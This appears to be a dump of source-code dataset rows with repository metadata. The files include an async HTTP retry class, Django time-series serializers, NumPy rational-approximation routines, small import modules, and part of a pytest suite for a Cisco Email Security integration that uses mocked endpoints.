return self.__Retry_Mechanism_Default_Functions.request_error
return self._Error_Request_Callable
@request_error.setter
def request_error(self, function: Callable) -> None:
self._Error_Request_Callable = function
def response(self):
pass
def status_code(self):
pass
class AsyncHTTP(BaseHTTP):
__Retry_Mechanism_Default_Functions = AsyncRetryComponent()
_Before_Request_Callable: Callable = None
_Request_Done_Callable: Callable = None
_Request_Final_Callable: Callable = None
_Error_Request_Callable: Callable = None
def __init__(self, retry_components: BaseRetryComponent = None):
super().__init__(retry_components)
if retry_components is not None:
if isinstance(retry_components, BaseRetryComponent):
raise TypeError("Parameter *retry_components* should be a sub-class of 'smoothcrawler.http_io.AsyncRetryComponent'.")
self.__Retry_Mechanism_Default_Functions = retry_components
async def request(self,
url: str,
method: str = "GET",
timeout: int = -1,
*args, **kwargs):
_self = self
@_async_retry(timeout=RETRY_TIME)
async def _request(_self, _method: str = "GET", _timeout: int = -1, *_args, **_kwargs):
__response = await _self.__request_process(url=url, method=_method, timeout=_timeout, *_args, **_kwargs)
return __response
@_request.initialization
async def _before_request(_self, *_args, **_kwargs):
await self.before_request(*_args, **_kwargs)
@_request.done_handling
async def _request_done(_self, result):
__result = await self.request_done(result)
return __result
@_request.final_handling
async def _request_final(_self):
await self.request_final()
@_request.error_handling
async def _request_error(_self, error):
__error_handle = await self.request_error(error)
return __error_handle
response = await _request(self, method, timeout, *args, **kwargs)
if response is TypeError and str(response) == f"Invalid HTTP method it got: '{method}'.":
raise response
return response
async def __request_process(self,
url: str,
method: str = "GET",
timeout: int = -1,
*args, **kwargs):
if re.search(f"get", method, re.IGNORECASE):
response = await self.get(url, *args, **kwargs)
elif re.search(f"post", method, re.IGNORECASE):
response = await self.post(url, *args, **kwargs)
elif re.search(f"put", method, re.IGNORECASE):
response = await self.put(url, *args, **kwargs)
elif re.search(f"delete", method, re.IGNORECASE):
response = await self.delete(url, *args, **kwargs)
elif re.search(f"head", method, re.IGNORECASE):
response = await self.head(url, *args, **kwargs)
elif re.search(f"option", method, re.IGNORECASE):
response = await self.option(url, *args, **kwargs)
else:
response = TypeError(f"Invalid HTTP method it got: '{method.upper()}'.")
return response
async def get(self, url: str, *args, **kwargs):
return None
async def post(self, url: str, *args, **kwargs):
return None
async def put(self, url: str, *args, **kwargs):
return None
async def delete(self, url: str, *args, **kwargs):
return None
async def head(self, url: str, *args, **kwargs):
return None
async def option(self, url: str, *args, **kwargs):
return None
@property
def before_request(self) -> Callable:
if self._Before_Request_Callable is None:
return self.__Retry_Mechanism_Default_Functions.before_request
return self._Before_Request_Callable
@before_request.setter
def before_request(self, function: Callable) -> None:
self._Before_Request_Callable = function
@property
def request_done(self) -> Callable:
if self._Request_Done_Callable is None:
return self.__Retry_Mechanism_Default_Functions.request_done
return self._Request_Done_Callable
@request_done.setter
def request_done(self, function: Callable) -> None:
self._Request_Done_Callable = function
@property
def request_final(self) -> Callable:
if self._Request_Final_Callable is None:
return self.__Retry_Mechanism_Default_Functions.request_final
return self._Request_Final_Callable
@request_final.setter
def request_final(self, function: Callable) -> None:
self._Request_Final_Callable = function
@property
def request_error(self) -> Callable:
if self._Error_Request_Callable is None:
return self.__Retry_Mechanism_Default_Functions.request_error
return self._Error_Request_Callable
@request_error.setter
def request_error(self, function: Callable) -> None:
self._Error_Request_Callable = function
def status_code(self):
pass
| 27.171739 | 133 | 0.62933 | 1,380 | 12,499 | 5.428261 | 0.073188 | 0.064077 | 0.030704 | 0.03364 | 0.899079 | 0.859832 | 0.805233 | 0.735683 | 0.668536 | 0.57816 | 0 | 0.000885 | 0.276982 | 12,499 | 459 | 134 | 27.230937 | 0.82804 | 0 | 0 | 0.733333 | 0 | 0 | 0.034888 | 0.006642 | 0 | 0 | 0 | 0 | 0 | 1 | 0.19 | false | 0.073333 | 0.016667 | 0.033333 | 0.403333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
d33b7465f022677ad8dfb61afdd9fea01bac0846 | 22 | py | Python | INFINIX/database/__init__.py | ItzSjDude/infinix | b9010737088f161c4a02c25ff43c4de6c9d62f4e | [
"Apache-2.0"
] | null | null | null | INFINIX/database/__init__.py | ItzSjDude/infinix | b9010737088f161c4a02c25ff43c4de6c9d62f4e | [
"Apache-2.0"
] | null | null | null | INFINIX/database/__init__.py | ItzSjDude/infinix | b9010737088f161c4a02c25ff43c4de6c9d62f4e | [
"Apache-2.0"
] | null | null | null | from .infxdb import *
| 11 | 21 | 0.727273 | 3 | 22 | 5.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 22 | 1 | 22 | 22 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d342fc1fc36e76c08a332b501f6c9cbc0759e965 | 204 | py | Python | 1201-1300/1294-Power of Three/1294-Power of Three.py | jiadaizhao/LintCode | a8aecc65c47a944e9debad1971a7bc6b8776e48b | [
"MIT"
] | 77 | 2017-12-30T13:33:37.000Z | 2022-01-16T23:47:08.000Z | 1201-1300/1294-Power of Three/1294-Power of Three.py | jxhangithub/LintCode-1 | a8aecc65c47a944e9debad1971a7bc6b8776e48b | [
"MIT"
] | 1 | 2018-05-14T14:15:40.000Z | 2018-05-14T14:15:40.000Z | 1201-1300/1294-Power of Three/1294-Power of Three.py | jxhangithub/LintCode-1 | a8aecc65c47a944e9debad1971a7bc6b8776e48b | [
"MIT"
] | 39 | 2017-12-07T14:36:25.000Z | 2022-03-10T23:05:37.000Z | class Solution:
"""
@param n: an integer
@return: if n is a power of three
"""
def isPowerOfThree(self, n):
# Write your code here
return n > 0 and 1162261467 % n == 0
| 22.666667 | 44 | 0.558824 | 29 | 204 | 3.931034 | 0.793103 | 0.035088 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.089552 | 0.343137 | 204 | 8 | 45 | 25.5 | 0.761194 | 0.372549 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
d34647734da5ace119c69da77165b66084c34606 | 133 | py | Python | deepbrain/models/extractor/__init__.py | maiskovich/deepbrain | df9d5968d26ec6248da6f1b8046eedff36439507 | [
"MIT"
] | null | null | null | deepbrain/models/extractor/__init__.py | maiskovich/deepbrain | df9d5968d26ec6248da6f1b8046eedff36439507 | [
"MIT"
] | null | null | null | deepbrain/models/extractor/__init__.py | maiskovich/deepbrain | df9d5968d26ec6248da6f1b8046eedff36439507 | [
"MIT"
] | 2 | 2021-06-25T21:54:54.000Z | 2021-08-19T19:08:03.000Z | import tensorflow as tf
if tf.__version__ > "2.0.0":
import tensorflow.compat.v1 as tf
from deepbrain.extractor import Extractor
| 26.6 | 41 | 0.774436 | 21 | 133 | 4.714286 | 0.619048 | 0.323232 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035398 | 0.150376 | 133 | 4 | 42 | 33.25 | 0.840708 | 0 | 0 | 0 | 0 | 0 | 0.037594 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.75 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d355102805dbb7a2ea8769265fd28904265c2bd9 | 80 | py | Python | tests/snippets/exit.py | lazylife7157/RustPython | 84f08c85d9f0295d2a1905b5065498181eb442c7 | [
"MIT"
] | null | null | null | tests/snippets/exit.py | lazylife7157/RustPython | 84f08c85d9f0295d2a1905b5065498181eb442c7 | [
"MIT"
] | null | null | null | tests/snippets/exit.py | lazylife7157/RustPython | 84f08c85d9f0295d2a1905b5065498181eb442c7 | [
"MIT"
] | null | null | null | from testutils import assert_raises
with assert_raises(SystemExit):
exit()
| 16 | 35 | 0.7875 | 10 | 80 | 6.1 | 0.8 | 0.393443 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15 | 80 | 4 | 36 | 20 | 0.897059 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.666667 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
d38e8ca7ecf91767e04488f4d3bfb3b539d19c0e | 30 | py | Python | knn/__init__.py | imdeepmind/MachineLearningFromScratch | 2b0b2caf2f5969ecc12ea6f122fac300db7dd584 | [
"MIT"
] | null | null | null | knn/__init__.py | imdeepmind/MachineLearningFromScratch | 2b0b2caf2f5969ecc12ea6f122fac300db7dd584 | [
"MIT"
] | null | null | null | knn/__init__.py | imdeepmind/MachineLearningFromScratch | 2b0b2caf2f5969ecc12ea6f122fac300db7dd584 | [
"MIT"
] | null | null | null | from .knn import KNNClassifier | 30 | 30 | 0.866667 | 4 | 30 | 6.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 30 | 1 | 30 | 30 | 0.962963 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
9f0aac412f33a225363dcea52a82d245ffd706b8 | 31 | py | Python | sphinx_diagrams/__init__.py | Ulimo/sphinx-diagrams | 8a82d9c73e937f68d5b2aa5cde6dfeb3c4f5b82a | [
"BSD-2-Clause"
] | 8 | 2020-11-12T15:02:32.000Z | 2022-02-27T19:04:00.000Z | sphinx_diagrams/__init__.py | Ulimo/sphinx-diagrams | 8a82d9c73e937f68d5b2aa5cde6dfeb3c4f5b82a | [
"BSD-2-Clause"
] | 3 | 2021-05-04T03:09:02.000Z | 2021-08-17T21:01:27.000Z | sphinx_diagrams/__init__.py | Ulimo/sphinx-diagrams | 8a82d9c73e937f68d5b2aa5cde6dfeb3c4f5b82a | [
"BSD-2-Clause"
] | 5 | 2020-11-23T18:49:52.000Z | 2021-08-14T15:08:10.000Z | from .sphinx_diagrams import *
| 15.5 | 30 | 0.806452 | 4 | 31 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129032 | 31 | 1 | 31 | 31 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
9f5a3350fceda24cacbee14c6066a56b5bc06e43 | 2,188 | py | Python | oa_server/time_series/serializers.py | Open-Acidification/Open_Acidification_Server | 3ae668dc033e1a1478a6fc59b8b4dcec4de87564 | [
"MIT"
] | null | null | null | oa_server/time_series/serializers.py | Open-Acidification/Open_Acidification_Server | 3ae668dc033e1a1478a6fc59b8b4dcec4de87564 | [
"MIT"
] | 37 | 2020-04-23T16:55:16.000Z | 2020-11-23T23:25:48.000Z | oa_server/time_series/serializers.py | Open-Acidification/TankControllerManager | 3ae668dc033e1a1478a6fc59b8b4dcec4de87564 | [
"MIT"
] | 4 | 2021-09-30T21:43:52.000Z | 2022-02-23T03:26:25.000Z | from rest_framework import serializers
from time_series.models import TimeSeries
# Pylint wants create() and update() to be overriden,
# but we don't need them here, so ignore the error.
#pylint: disable=abstract-method
class TimeSeriesSerializer(serializers.ModelSerializer):
class Meta:
model = TimeSeries
fields = '__all__'
class TempHoldSerializer(serializers.Serializer):
name = serializers.CharField(max_length=32, default="Unnamed")
at = serializers.FloatField(min_value=0, max_value=100, default=20)
class PHHoldSerializer(serializers.Serializer):
name = serializers.CharField(max_length=32, default="Unnamed")
at = serializers.FloatField(min_value=7, max_value=14, default=8)
class TempRampSerializer(serializers.Serializer):
name = serializers.CharField(max_length=32, default="Unnamed")
start = serializers.FloatField(min_value=0, max_value=100, default=20)
end = serializers.FloatField(min_value=0, max_value=100, default=30)
duration = serializers.IntegerField(min_value=0, default=600)
class PHRampSerializer(serializers.Serializer):
name = serializers.CharField(max_length=32, default="Unnamed")
start = serializers.FloatField(min_value=7, max_value=14, default=8)
end = serializers.FloatField(min_value=7, max_value=14, default=9)
duration = serializers.IntegerField(min_value=0, default=600)
class TempSineSerializer(serializers.Serializer):
name = serializers.CharField(max_length=32, default="Unnamed")
frequency = serializers.IntegerField(min_value=0, default=600)
amplitude = serializers.FloatField(min_value=0, max_value=50, default=15)
offset_x = serializers.IntegerField(min_value=0, default=0)
offset_y = serializers.FloatField(min_value=0, max_value=100, default=30)
class PHSineSerializer(serializers.Serializer):
name = serializers.CharField(max_length=32, default="Unnamed")
frequency = serializers.IntegerField(min_value=0, default=600)
amplitude = serializers.FloatField(min_value=0, max_value=3.5, default=1)
offset_x = serializers.IntegerField(min_value=0, default=0)
offset_y = serializers.FloatField(min_value=7, max_value=14, default=8)
| 48.622222 | 77 | 0.771481 | 279 | 2,188 | 5.899642 | 0.283154 | 0.077764 | 0.065614 | 0.176185 | 0.756379 | 0.752734 | 0.752734 | 0.752734 | 0.752734 | 0.657351 | 0 | 0.042122 | 0.121115 | 2,188 | 44 | 78 | 49.727273 | 0.813833 | 0.060329 | 0 | 0.352941 | 0 | 0 | 0.023879 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.058824 | 0 | 0.941176 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
9f9fcd928d271f5588ca5236b33a69d2c3e59ab0 | 4,595 | py | Python | applications/ExaquteSandboxApplication/python_scripts/WindGenerator/RationalApproximation.py | lkusch/Kratos | e8072d8e24ab6f312765185b19d439f01ab7b27b | [
"BSD-4-Clause"
] | 778 | 2017-01-27T16:29:17.000Z | 2022-03-30T03:01:51.000Z | applications/ExaquteSandboxApplication/python_scripts/WindGenerator/RationalApproximation.py | lkusch/Kratos | e8072d8e24ab6f312765185b19d439f01ab7b27b | [
"BSD-4-Clause"
] | 6,634 | 2017-01-15T22:56:13.000Z | 2022-03-31T15:03:36.000Z | applications/ExaquteSandboxApplication/python_scripts/WindGenerator/RationalApproximation.py | lkusch/Kratos | e8072d8e24ab6f312765185b19d439f01ab7b27b | [
"BSD-4-Clause"
] | 224 | 2017-02-07T14:12:49.000Z | 2022-03-06T23:09:34.000Z |
from math import *
import numpy as np
from scipy.optimize import fsolve, minimize, fminbound, root
from scipy.signal import residue
import scipy
# from scipy.special import kv as Kv
# from scipy.special import jv as Jv
# from scipy.special import iv as Iv
# from scipy.special import gamma, genlaguerre
import matplotlib.pyplot as plt
from time import time
############################################
def compute_RationalApproximation_AAA(alpha, MaxOrder=100, tol = 1.e-8, nPoints = 1000, verbose=False):
# deal with divisions by zero
np.seterr(divide='ignore', invalid='ignore')
func = lambda x: x**(1-alpha)
# func = lambda x: (1+x)**(-alpha) * x
M = nPoints
Z = np.linspace(1, 1000, M)
# Z = (Z/Z[-1])**2 * Z[-1]
Z = Z.reshape([M,1])
M = Z.size
F = func(Z)
SF = scipy.sparse.spdiags(F.flatten(),0,M,M)
J = np.arange(M)
z = np.array([]).reshape([0,1])
f = np.array([]).reshape([0,1])
C = np.array([]).reshape([M,0])
errvec = np.array([])
R = np.mean(F)*np.ones_like(F)
for m in range(MaxOrder):
j = np.argmax(np.abs(F-R))
z = np.vstack([z, Z[j]])
f = np.vstack([f, F[j]])
J = J[J!=j]
C = np.hstack([ C, 1/(Z-Z[j]) ])
Sf = np.diag(f.flatten())
A = SF @ C - C @ Sf
U,S,V = scipy.linalg.svd(A[J,:])
w = V[m,:].reshape([-1,1])
N = C @ (w*f)
D = C @ w
R[:] = F
R[J] = N[J]/D[J]
err = np.linalg.norm(F-R, ord=np.inf)
errvec = np.append(errvec, err)
if verbose: print(err)
if err <= tol: break
if verbose: print('degree',m)
m = w.size
B = np.eye(m+1)
B[0,0] = 0
E = np.block([ [ 0, w.reshape([1,m]) ], [ np.ones([m,1]), np.diag(z.flatten()) ] ])
pol = scipy.linalg.eig(E,B, left=False, right=False)
pol = pol[~np.isinf(pol)]
E = np.block([ [ 0, (w*f).reshape([1,m]) ], [ np.ones([m,1]), np.diag(z.flatten()) ] ])
zer = scipy.linalg.eig(E,B, left=False, right=False)
zer = zer[~np.isinf(zer)]
assert( np.all(np.isclose(np.imag(zer),0)) )
assert( np.all(np.isclose(np.imag(pol),0)) )
pc0 = np.sum(w*f)
pd0 = np.sum(w)
pc = np.poly(zer)
pd = np.poly(pol)
pd = np.append(pd, 0)
c, d, k = residue(pc, pd)
assert(all(k==0))
d = -d
c *= pc0/pd0
### Check RA error
# x = np.linspace(1, 1000, 10000)
# plt.plot(x, [ np.sum(c/(z+d)) - z**(-alpha) for z in x] )
# plt.show()
return c, d
def compute_RationalApproximation_AAA_new(alpha, beta=None, MaxOrder=100, tol = 1.e-12, nPoints = 1000, verbose=False):
# deal with divisions by zero
np.seterr(divide='ignore', invalid='ignore')
if beta:
func = lambda x: x**(1-alpha) * (x-1)**(-beta)
else:
func = lambda x: x**(1-alpha)
M = nPoints
Z = np.linspace(1+1.e-3, 1000, M).reshape([M,1])
M = Z.size
F = func(Z)
SF = scipy.sparse.spdiags(F.flatten(),0,M,M)
J = np.arange(M)
z = np.array([]).reshape([0,1])
f = np.array([]).reshape([0,1])
C = np.array([]).reshape([M,0])
errvec = np.array([])
R = np.mean(F)*np.ones_like(F)
for m in range(MaxOrder):
j = np.argmax(np.abs(F-R))
z = np.vstack([z, Z[j]])
f = np.vstack([f, F[j]])
J = J[J!=j]
C = np.hstack([ C, 1/(Z-Z[j]) ])
Sf = np.diag(f.flatten())
A = SF @ C - C @ Sf
U,S,V = scipy.linalg.svd(A[J,:])
w = V[m,:].reshape([-1,1])
N = C @ (w*f)
D = C @ w
R[:] = F
R[J] = N[J]/D[J]
err = np.linalg.norm(F-R, ord=np.inf)
errvec = np.append(errvec, err)
if verbose: print(err)
if err <= tol: break
if verbose: print('degree',m)
m = w.size
B = np.eye(m+1)
B[0,0] = 0
E = np.block([ [ 0, w.reshape([1,m]) ], [ np.ones([m,1]), np.diag(z.flatten()) ] ])
pol = scipy.linalg.eig(E,B, left=False, right=False)
pol = pol[~np.isinf(pol)]
E = np.block([ [ 0, (w*f).reshape([1,m]) ], [ np.ones([m,1]), np.diag(z.flatten()) ] ])
zer = scipy.linalg.eig(E,B, left=False, right=False)
zer = zer[~np.isinf(zer)]
assert( np.all(np.isclose(np.imag(zer),0)) )
assert( np.all(np.isclose(np.imag(pol),0)) )
pc0 = np.sum(w*f)
pd0 = np.sum(w)
pc = np.poly(zer)
pd = np.poly(pol)
pd = np.append(pd, 0)
c, d, k = residue(pc, pd)
assert(all(k==0))
d = -d
c *= pc0/pd0
# x = np.linspace(100, 1000, 10000)
# plt.plot(x, [ np.sum(c/(z+d)) - func(z)/z for z in x] )
# plt.show()
return c, d | 27.35119 | 119 | 0.514255 | 792 | 4,595 | 2.974747 | 0.165404 | 0.006791 | 0.035654 | 0.037351 | 0.794567 | 0.780985 | 0.741087 | 0.741087 | 0.741087 | 0.722411 | 0 | 0.03478 | 0.2679 | 4,595 | 168 | 120 | 27.35119 | 0.665577 | 0.105332 | 0 | 0.87395 | 0 | 0 | 0.008891 | 0 | 0 | 0 | 0 | 0 | 0.05042 | 1 | 0.016807 | false | 0 | 0.058824 | 0 | 0.092437 | 0.033613 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
4cba75504cbd0271b685fedf4c766841cd5e284f | 126 | py | Python | test.py | julianrector8823/Minecraft-Plugins | 56a4cd0f9edc56cabc770c3872d6d00dbc8292c9 | [
"MIT"
] | null | null | null | test.py | julianrector8823/Minecraft-Plugins | 56a4cd0f9edc56cabc770c3872d6d00dbc8292c9 | [
"MIT"
] | null | null | null | test.py | julianrector8823/Minecraft-Plugins | 56a4cd0f9edc56cabc770c3872d6d00dbc8292c9 | [
"MIT"
] | null | null | null | class Test(int):
def __new__(cls, n):
return int.__new__(cls, n)
def cube(self):
return pow(self, 3)
| 15.75 | 31 | 0.563492 | 19 | 126 | 3.315789 | 0.631579 | 0.190476 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011364 | 0.301587 | 126 | 7 | 32 | 18 | 0.704545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0 | 0.4 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
980d524effe0e6e61f01e8a75c347386be00f6eb | 19,127 | py | Python | Packs/CiscoEmailSecurity/Integrations/CiscoEmailSecurity/CiscoEmailSecurity_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/CiscoEmailSecurity/Integrations/CiscoEmailSecurity/CiscoEmailSecurity_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/CiscoEmailSecurity/Integrations/CiscoEmailSecurity/CiscoEmailSecurity_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import json
import pytest
from CiscoEmailSecurity import Client
def get_fetch_data():
with open('./test_data.json', 'r') as f:
return json.loads(f.read())
test_data = get_fetch_data()
def test_date_to_cisco_date():
from CiscoEmailSecurity import date_to_cisco_date
res = date_to_cisco_date('2019-11-20 09:36:09')
assert res == '2019-11-20T09:36:09.000Z'
@pytest.mark.parametrize(
"limit, expected",
[
('', 20),
('100', 20),
('15', 15)
]
)
def test_set_limit(limit, expected):
from CiscoEmailSecurity import set_limit
res = set_limit(limit)
assert res == expected
def test_set_var_to_output_prefix():
from CiscoEmailSecurity import set_var_to_output_prefix
res = set_var_to_output_prefix('mail_incoming_traffic_summary')
assert res == 'MailIncomingTrafficSummary'
def test_build_url_params_for_list_report():
"""
Given:
Arguments To flirt with.
When:
The function builds a URL filter from these arguments.
Then:
We check that the URL filter matches what the command asks for.
"""
from CiscoEmailSecurity import build_url_params_for_list_report
res = build_url_params_for_list_report(test_data['args_for_list_report'], 'reporting_system')
assert res == test_data['url_params_for_list_reports']
def test_build_url_params_for_list_messages():
"""
Given:
Arguments To flirt with.
When:
The function builds a URL filter from these arguments.
Then:
We check that the URL filter matches what the command asks for.
"""
from CiscoEmailSecurity import build_url_params_for_list_messages
res = build_url_params_for_list_messages(test_data['args_for_list_messages'])
assert res == test_data['url_params_for_list_messages']
def test_build_url_params_for_get_details():
"""
Given:
Arguments To flirt with.
When:
The function builds a URL filter from these arguments.
Then:
We check that the URL filter matches what the command asks for.
"""
from CiscoEmailSecurity import build_url_params_for_get_details
res = build_url_params_for_get_details(test_data['args_for_get_details'])
assert res == test_data['url_params_for_get_details']
def test_build_url_params_for_spam_quarantine():
"""
Given:
Arguments To flirt with.
When:
The function builds a URL filter from these arguments.
Then:
We check that the URL filter matches what the command asks for.
"""
from CiscoEmailSecurity import build_url_params_for_spam_quarantine
res = build_url_params_for_spam_quarantine(test_data['args_for_spam_quarantine'])
assert res == test_data['url_params_for_spam_quarantine']
def test_list_search_messages_command(requests_mock):
"""
Given:
Arguments for command - list_search_messages.
When:
The API gives us results according to the arguments we sent.
Then:
We check that what is in context (outputs, outputs_prefix, outputs_key_field)
is what should be according to the arguments we sent to the API.
"""
from CiscoEmailSecurity import list_search_messages_command
requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login'])
requests_mock.get("https://ciscoemailsecurity/sma/api/v2.0/message-tracking/messages?"
"startDate=2017-02-14T09:51:46.000-0600.000Z&endDate=2017-02-14T09:51:46.000-0600.000Z"
"&searchOption=messages&ciscoHost=All_Hosts&offset=0&limit=20",
json=test_data['search_messages_response_data'])
client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/",
"insecure": False, "proxy": False, "timeout": "2000"})
res = list_search_messages_command(client, {"start_date": "2017-02-14T09:51:46.000-0600",
"end_date": "2017-02-14T09:51:46.000-0600"})
assert res.outputs == test_data['search_messages_context']
assert res.outputs_prefix == 'CiscoEmailSecurity.Message'
assert res.outputs_key_field == 'attributes.mid'
def test_messages_to_human_readable():
"""
Given:
Messages response data.
When:
The function arranges the data and returns it in the Markdown table.
Then:
We check that the table that the function returns corresponds to the data that the function received.
"""
from CiscoEmailSecurity import messages_to_human_readable
res = messages_to_human_readable(test_data['search_messages_context'])
assert res == test_data['messages_human_readable']
def test_list_get_message_details_command(requests_mock):
"""
Given:
Arguments for command - list_get_message_details.
When:
The API gives us results according to the arguments we sent.
Then:
We check that what is in context (outputs, outputs_prefix, outputs_key_field)
is what should be according to the arguments we sent to the API.
"""
from CiscoEmailSecurity import list_get_message_details_command
requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login'])
requests_mock.get("https://ciscoemailsecurity/sma/api/v2.0/message-tracking/details?"
"startDate=2017-02-14T09:51:46.000-0600.000Z&endDate=2017-02-14T09:51:46.000-0600.000Z&"
"mid=None&icid=None",
json=test_data['get_message_details_response_data'])
client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/",
"insecure": False, "proxy": False, "timeout": "2000"})
res = list_get_message_details_command(client, {"start_date": "2017-02-14T09:51:46.000-0600",
"end_date": "2017-02-14T09:51:46.000-0600"})
assert res.outputs == test_data['get_message_details_context']
assert res.outputs_prefix == 'CiscoEmailSecurity.Message'
assert res.outputs_key_field == 'mid'
def test_message_to_human_readable():
"""
Given:
Message response data.
When:
The function arranges the data and returns it in the Markdown table.
Then:
We check that the table that the function returns corresponds to the data that the function received.
"""
from CiscoEmailSecurity import details_get_to_human_readable
res = details_get_to_human_readable(test_data['get_message_details_context'])
assert res == test_data['message_human_readable']
def test_list_search_spam_quarantine_command(requests_mock):
"""
Given:
Arguments for command - list_search_spam_quarantine.
When:
The API gives us results according to the arguments we sent.
Then:
We check that what is in context (outputs, outputs_prefix, outputs_key_field)
is what should be according to the arguments we sent to the API.
"""
from CiscoEmailSecurity import list_search_spam_quarantine_command
requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login'])
requests_mock.get("https://ciscoemailsecurity/sma/api/v2.0/quarantine/messages"
"?startDate=2017-02-14T09:51:46.000-0600.000Z&endDate=2017-02-14T09:51:46.000-0600.000Z"
"&quarantineType=spam&offset=0&limit=20", json=test_data['search_spam_quarantine_response_data'])
client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/",
"insecure": False, "proxy": False, "timeout": "2000"})
res = list_search_spam_quarantine_command(client, {"start_date": "2017-02-14T09:51:46.000-0600",
